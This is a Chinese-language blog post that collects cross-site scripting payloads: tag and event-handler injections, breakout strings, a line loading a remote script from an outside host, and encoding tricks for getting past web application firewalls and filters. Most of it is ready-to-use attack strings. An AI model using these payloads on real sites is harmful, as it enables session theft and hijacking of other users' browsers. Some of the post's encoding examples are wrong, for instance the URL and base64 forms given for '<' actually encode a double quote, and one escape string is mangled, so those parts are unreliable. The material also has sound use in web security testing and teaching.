安全xss漏洞XSS总结
Yatming的博客XSS总结
基本命令
一、标准语句
1
| <script>alert(/XSS/)</script>
|
二、尝试大小写
1
| <sCript>alert(1)</scRipt>
|
三、使用
标签
1、windows事件
1 2 3 4 5
| <img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
//图片加载错误时触发
|
2、鼠标事件
1 2 3 4 5 6 7
| <img src=1 onmouseover="alert(1)">
//鼠标指针移动到元素时触发
<img src=1 onmouseout="alert(1)">
//鼠标指针移出时触发
|
四、使用标签
1、使用href属性
1 2 3 4 5 6 7 8 9 10 11
| <a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a>
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
|
五、使用标签
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <input name="name" value="">
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
<input type="text" onkeydown="alert(1)">
//用户按下按键时触发
<input type="text" onkeypress="alert(1)">
//用户按下按键时触发
<input type="text" onkeyup="alert(1)">
//用户松开按键时触发
|
六、使用标签
1 2 3 4 5
| <form action=javascript:alert('xss') method="get"><form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')><form method=post action=aa.asp? onmouseover=alert('xss')><form action=1 onmouseover=alert('xss)>
<!--原code--><form method=post action="data:text/html;base64,<script>alert('xss')</script>"><!--base64编码--><form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
七、 使用
1 2 3
| <iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe> <!--原code--><iframe src="data:text/html;base64,<script>alert('xss')</script>"> <!--base64编码--><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <iframe src="aaa" onmouseover=alert('xss') /><iframe> <iframe src="javascript:prompt(`xss`)"></iframe>
|
八、 使用
九、 使用
标签
1 2 3
| <body onload="alert(1)">
//加载时触发
|
十、 使用
1 2 3 4 5 6 7 8 9 10 11
| <button onclick="alert(1)">text</button>
//元素上点击鼠标时触发
<p onmousedown="alert(1)">text</p>
//元素上按下鼠标时触发
<p onmouseup="alert(1)">text</p>
//在元素上释放鼠标时触发
|
十一、 使用
标签
1 2 3 4 5 6 7
| <p onmousedown="alert(1)">text</p>
//元素上按下鼠标时触发
<p onmouseup="alert(1)">text</p>
//在元素上释放鼠标时触发
|
十二、XSS编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| 1、html实体编码(10进制与16进制):
如把尖括号编码[ < ] -----> html十进制: < html十六进制:<
2、javascript的八进制跟十六进制:
如把尖括号编码[ < ] -----> js八进制:\74 js十六进制:\x3c
三个八进制数字,如果数字不够,在前面补零,如a的编码为\141
两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61
四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061
对于一些控制字符,使用特殊的C类型的转义风格,如\n和\r
3、url编码:
如把尖括号编码[ < ] -----> url: %22
4、base64编码:
如把尖括号编码[ < ] -----> base64: Ig==
5、jsunicode编码:
如把尖括号编码[ < ] ----->jsunicode:\u003c
6、String.fromCharCode编码
如alert的编码为String.fromCharCode(97,108,101,114,116)
|
一:正常构造方式:
1、无过滤,直接写:
<script>alert(1)</script>
2、正常截断:
1 2
| "> <script>alert(1)</script> '> <script>alert(1)</script>
|
3、不用<>尖括号:
1 2 3 4
| " onmouseover=alert(1) 空格 ' onmouseover=alert(1) 空格 ' onclick=alert(1) 空格 " onfocus=alert(1) autofocus="
|
4、内联框架注入:
"><iframe src=javascript:alert(1)>
5、超链接注入:
"> <a href="javascript:alert(1)">漏洞</a>
6、alert(1)中的小括号:可用反单引号替代:`;也可以用/
7、当()与反单引号被过滤时,可使用如下:
1 2
| - <iframe srcdoc="<script>parent.alert(1)</script>" - <svg><script>alert(1)</script>
|
8、存在注释符的话,可用或<!– –!>绕过
9、str_replace()函数是区分大小写的
10、黑名单的时候可以使用URL编码等进行编码的方式:
javascript:alert(1)、javascript:alert'1'
11、可利用注释符(//)与换行/回车(%0a/%0d)绕过各种规定方式(比如必须添加某些参数或者无法输入空格等)
12、外链xss脚本:
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
13、IMG标签型:
1 2 3
| <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=java(16进制编码)XSS')>
|
14、嵌入式标签:
1 2 3
| <IMG SRC="javascript:alert('XSS');"> <IMG SRC="javascript:alert('XSS');">(嵌入式编码标签) <IMG SRC="javascript:alert('XSS');">(嵌入式换行符)(嵌入式回车)
|
15、双开括号:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
16、BODY图片:
<BODY BACKGROUND="javascript:alert('XSS')">
17、IMG Dynsrc:
<IMG DYNSRC="javascript:alert('XSS')">
IMG Lowsrc:
1
| <IMG LOWSRC="javascript:alert('XSS')">
|
18、DIV background-image:
1
| > <DIV STYLE="background-image:url(javascript:alert('XSS'))">
|
19、javascript链接:
1
| <A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
|
20、embed:
<embed src="javascript:alert(1)">
21、video:
<video onerror="alert(1)">
22、在JavaScript中可以进行Unicode转义、十六进制和八进制转义。此外,字符串中的多余转义字符串将被忽略。
1 2 3 4 5
| <script>a \u006cert(1) ;</script> <script>eval(‘ a\u006cert(1) ’);</script> <script>eval(‘ a\x6cert(1) ’);</script> <script>eval(‘ a\154ert(1) ’);</script> <script>eval(‘ a\1\ert\(1\) ’);</script>
|
二:绕过方式
1、双url编码
把% url编码成 %25 ,如果后台对参数有再次进行url decode 或者输出的时候有 url decode 就可以绕过WAF。
2、base64编码
WAF不拦截 <> ,但拦截 script onXXXX , 用base64 绕过。
1
| <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">
|
3、HTML实体编码绕过
(1)解释:实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的。
payload:
1 2
| <a href='javascript:alert('123')'>hello</a> <a href="javascript:alert('123')">hello</a>
|
tip:
(2)其实在标签里的伪协议js代码,是可以不用用双引号引起来的。
加上eval函数后(eval认识 \x十六进制 八进制 \u unicode编码)
1
| <a href="javascript:eval('&#;\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">hello</a>
|
(3)如果页面直接显示输入内容,可以先html 编码,再url 编码。